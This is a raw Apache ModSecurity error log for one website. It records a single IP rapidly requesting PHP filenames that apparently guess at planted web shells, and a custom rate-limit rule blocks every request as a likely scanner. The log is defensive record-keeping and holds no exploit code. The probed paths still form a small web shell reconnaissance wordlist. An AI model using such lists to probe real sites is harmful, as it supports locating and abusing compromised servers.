[Thu Jan 08 23:26:19.460810 2026] [:error] [pid 2484:tid 2490] [client 74.225.203.54:31022] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aV_MmziDlnlaQQK_AEO0bQAAAUQ"]
[Thu Jan 08 23:26:19.777190 2026] [:error] [pid 2484:tid 2491] [client 74.225.203.54:30915] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "aV_MmziDlnlaQQK_AEO0cAAAAUU"]
[Thu Jan 08 23:26:20.226651 2026] [:error] [pid 15358:tid 15370] [client 74.225.203.54:46322] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "aV_MnCoRk9xWJ3toSBKb8AAAAMA"]
[Thu Jan 08 23:26:20.620173 2026] [:error] [pid 2484:tid 2495] [client 74.225.203.54:46258] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "aV_MnDiDlnlaQQK_AEO0dgAAAUg"]
[Thu Jan 08 23:26:20.925076 2026] [:error] [pid 2484:tid 2493] [client 74.225.203.54:30934] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "aV_MnDiDlnlaQQK_AEO0eQAAAUY"]
[Thu Jan 08 23:26:21.463664 2026] [:error] [pid 2484:tid 2508] [client 74.225.203.54:31026] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aV_MnTiDlnlaQQK_AEO0fQAAAVQ"]
[Thu Jan 08 23:26:21.899053 2026] [:error] [pid 15263:tid 15287] [client 74.225.203.54:46268] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aV_Mndv61bxum7WG_e8cVgAAAA8"]
[Thu Jan 08 23:26:22.539542 2026] [:error] [pid 15358:tid 15381] [client 74.225.203.54:30940] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aV_MnioRk9xWJ3toSBKb8QAAAMs"]
[Thu Jan 08 23:26:23.049833 2026] [:error] [pid 15358:tid 15372] [client 74.225.203.54:46237] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aV_MnyoRk9xWJ3toSBKb8gAAAMI"]
[Thu Jan 08 23:26:23.456767 2026] [:error] [pid 2424:tid 2436] [client 74.225.203.54:46302] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file13.php"] [unique_id "aV_Mn7TDJR8aofkBk9RMdQAAAQo"]
[Thu Jan 08 23:26:23.828461 2026] [:error] [pid 2424:tid 2432] [client 74.225.203.54:31037] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file13.php"] [unique_id "aV_Mn7TDJR8aofkBk9RMdgAAAQY"]
[Thu Jan 08 23:26:24.443268 2026] [:error] [pid 15358:tid 15388] [client 74.225.203.54:46300] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file13.php"] [unique_id "aV_MoCoRk9xWJ3toSBKb8wAAANI"]
[Thu Jan 08 23:26:24.949650 2026] [:error] [pid 2484:tid 2511] [client 74.225.203.54:46247] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file13.php"] [unique_id "aV_MoDiDlnlaQQK_AEO0kgAAAVc"]
[Thu Jan 08 23:26:25.478901 2026] [:error] [pid 2484:tid 2490] [client 74.225.203.54:46317] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aV_MoTiDlnlaQQK_AEO0lQAAAUQ"]
[Thu Jan 08 23:26:26.040474 2026] [:error] [pid 17404:tid 17428] [client 74.225.203.54:46252] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aV_MomVd_oH193N6AnXZHgAAAZY"]
[Thu Jan 08 23:26:26.440210 2026] [:error] [pid 2424:tid 2446] [client 74.225.203.54:30988] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aV_MorTDJR8aofkBk9RMeAAAARQ"]
[Thu Jan 08 23:26:27.202473 2026] [:error] [pid 2484:tid 2495] [client 74.225.203.54:46229] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aV_MoziDlnlaQQK_AEO0ngAAAUg"]
[Thu Jan 08 23:26:28.190004 2026] [:error] [pid 15264:tid 15305] [client 74.225.203.54:31020] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3406.php"] [unique_id "aV_MpIov6_kvS0Owh-op3QAAAEY"]
[Thu Jan 08 23:26:28.516476 2026] [:error] [pid 2484:tid 2496] [client 74.225.203.54:30918] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3406.php"] [unique_id "aV_MpDiDlnlaQQK_AEO0pAAAAUk"]
[Thu Jan 08 23:26:28.865639 2026] [:error] [pid 2484:tid 2497] [client 74.225.203.54:31034] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3406.php"] [unique_id "aV_MpDiDlnlaQQK_AEO0pgAAAUo"]
[Thu Jan 08 23:26:29.497622 2026] [:error] [pid 2484:tid 2489] [client 74.225.203.54:46334] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3406.php"] [unique_id "aV_MpTiDlnlaQQK_AEO0pwAAAUM"]
[Thu Jan 08 23:26:29.891932 2026] [:error] [pid 2484:tid 2503] [client 74.225.203.54:46239] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/963e.php"] [unique_id "aV_MpTiDlnlaQQK_AEO0qgAAAU8"]
[Thu Jan 08 23:26:30.505871 2026] [:error] [pid 2424:tid 2442] [client 74.225.203.54:46226] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/963e.php"] [unique_id "aV_MprTDJR8aofkBk9RMegAAARA"]
[Thu Jan 08 23:26:30.813917 2026] [:error] [pid 17404:tid 17416] [client 74.225.203.54:31000] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/963e.php"] [unique_id "aV_MpmVd_oH193N6AnXZIwAAAYo"]
[Thu Jan 08 23:26:31.326334 2026] [:error] [pid 2484:tid 2487] [client 74.225.203.54:46330] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/963e.php"] [unique_id "aV_MpziDlnlaQQK_AEO0qwAAAUE"]
[Thu Jan 08 23:26:31.733135 2026] [:error] [pid 15263:tid 15279] [client 74.225.203.54:46323] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aV_Mp9v61bxum7WG_e8cWwAAAAc"]
[Thu Jan 08 23:26:32.292954 2026] [:error] [pid 15264:tid 15314] [client 74.225.203.54:30991] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aV_MqIov6_kvS0Owh-op3gAAAE8"]
[Thu Jan 08 23:26:32.862564 2026] [:error] [pid 2424:tid 2448] [client 74.225.203.54:31006] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aV_MqLTDJR8aofkBk9RMfwAAARY"]
[Thu Jan 08 23:26:33.176150 2026] [:error] [pid 2424:tid 2437] [client 74.225.203.54:46335] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aV_MqbTDJR8aofkBk9RMgAAAAQs"]
[Thu Jan 08 23:26:33.708434 2026] [:error] [pid 15358:tid 15379] [client 74.225.203.54:46298] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cjfuns.php"] [unique_id "aV_MqSoRk9xWJ3toSBKb9gAAAMk"]
[Thu Jan 08 23:26:34.410616 2026] [:error] [pid 17404:tid 17427] [client 74.225.203.54:46325] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cjfuns.php"] [unique_id "aV_MqmVd_oH193N6AnXZJQAAAZU"]
[Thu Jan 08 23:26:34.728534 2026] [:error] [pid 15264:tid 15311] [client 74.225.203.54:18448] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cjfuns.php"] [unique_id "aV_Mqoov6_kvS0Owh-op3wAAAEw"]
[Thu Jan 08 23:26:35.019754 2026] [:error] [pid 7586:tid 7590] [client 74.225.203.54:46280] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cjfuns.php"] [unique_id "aV_Mq8Jyk37GdXP5TmWGJgAAAcI"]
[Thu Jan 08 23:26:35.426350 2026] [:error] [pid 7586:tid 7606] [client 74.225.203.54:31030] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akk.php"] [unique_id "aV_Mq8Jyk37GdXP5TmWGJwAAAdA"]
[Thu Jan 08 23:26:35.757311 2026] [:error] [pid 15264:tid 15321] [client 74.225.203.54:30978] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akk.php"] [unique_id "aV_Mq4ov6_kvS0Owh-op4AAAAFY"]
[Thu Jan 08 23:26:36.032658 2026] [:error] [pid 15264:tid 15323] [client 74.225.203.54:30936] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akk.php"] [unique_id "aV_MrIov6_kvS0Owh-op4QAAAFg"]
[Thu Jan 08 23:26:36.349725 2026] [:error] [pid 2424:tid 2427] [client 74.225.203.54:30930] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akk.php"] [unique_id "aV_MrLTDJR8aofkBk9RMhQAAAQE"]
[Thu Jan 08 23:26:36.661633 2026] [:error] [pid 7586:tid 7612] [client 74.225.203.54:46296] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpa.php"] [unique_id "aV_MrMJyk37GdXP5TmWGKgAAAdY"]
[Thu Jan 08 23:26:37.137742 2026] [:error] [pid 15265:tid 15345] [client 74.225.203.54:46270] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpa.php"] [unique_id "aV_MraE6VBKhew2LTFRmLgAAAJM"]
[Thu Jan 08 23:26:37.560747 2026] [:error] [pid 15265:tid 15327] [client 74.225.203.54:31002] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpa.php"] [unique_id "aV_MraE6VBKhew2LTFRmMAAAAIE"]
[Thu Jan 08 23:26:38.066895 2026] [:error] [pid 15264:tid 15307] [client 74.225.203.54:46308] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpa.php"] [unique_id "aV_Mroov6_kvS0Owh-op4gAAAEg"]
[Thu Jan 08 23:26:38.457781 2026] [:error] [pid 17404:tid 17412] [client 74.225.203.54:46261] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rrr.php"] [unique_id "aV_MrmVd_oH193N6AnXZKgAAAYY"]
[Thu Jan 08 23:26:38.955465 2026] [:error] [pid 2484:tid 2505] [client 74.225.203.54:46282] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rrr.php"] [unique_id "aV_MrjiDlnlaQQK_AEO0rQAAAVE"]
[Thu Jan 08 23:26:39.399048 2026] [:error] [pid 2484:tid 2504] [client 74.225.203.54:46245] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rrr.php"] [unique_id "aV_MrziDlnlaQQK_AEO0rgAAAVA"]
[Thu Jan 08 23:26:39.718842 2026] [:error] [pid 2424:tid 2439] [client 74.225.203.54:30931] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rrr.php"] [unique_id "aV_Mr7TDJR8aofkBk9RMhgAAAQ0"]
[Thu Jan 08 23:26:40.097615 2026] [:error] [pid 2424:tid 2436] [client 74.225.203.54:30990] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "aV_MsLTDJR8aofkBk9RMhwAAAQo"]
[Thu Jan 08 23:26:40.464156 2026] [:error] [pid 2424:tid 2430] [client 74.225.203.54:30941] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "aV_MsLTDJR8aofkBk9RMiQAAAQQ"]
[Thu Jan 08 23:26:40.868627 2026] [:error] [pid 2424:tid 2442] [client 74.225.203.54:30982] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "aV_MsLTDJR8aofkBk9RMiwAAARA"]
[Thu Jan 08 23:26:41.191638 2026] [:error] [pid 2484:tid 2511] [client 74.225.203.54:46281] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "aV_MsTiDlnlaQQK_AEO0sAAAAVc"]
[Thu Jan 08 23:26:41.559256 2026] [:error] [pid 17404:tid 17411] [client 74.225.203.54:46254] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x0x.php"] [unique_id "aV_MsWVd_oH193N6AnXZKwAAAYU"]
[Thu Jan 08 23:26:41.956775 2026] [:error] [pid 2484:tid 2512] [client 74.225.203.54:30998] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x0x.php"] [unique_id "aV_MsTiDlnlaQQK_AEO0sQAAAVg"]
[Thu Jan 08 23:26:42.289565 2026] [:error] [pid 2484:tid 2502] [client 74.225.203.54:46290] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x0x.php"] [unique_id "aV_MsjiDlnlaQQK_AEO0sgAAAU4"]
[Thu Jan 08 23:26:42.955530 2026] [:error] [pid 15358:tid 15394] [client 74.225.203.54:18639] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x0x.php"] [unique_id "aV_MsioRk9xWJ3toSBKb9wAAANg"]
[Thu Jan 08 23:26:43.249027 2026] [:error] [pid 15263:tid 15290] [client 74.225.203.54:30953] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "aV_Ms9v61bxum7WG_e8cXgAAABI"]
[Thu Jan 08 23:26:43.631478 2026] [:error] [pid 2424:tid 2448] [client 74.225.203.54:30956] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "aV_Ms7TDJR8aofkBk9RMjQAAARY"]
[Thu Jan 08 23:26:44.053522 2026] [:error] [pid 7586:tid 7602] [client 74.225.203.54:46333] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "aV_MtMJyk37GdXP5TmWGLgAAAcw"]
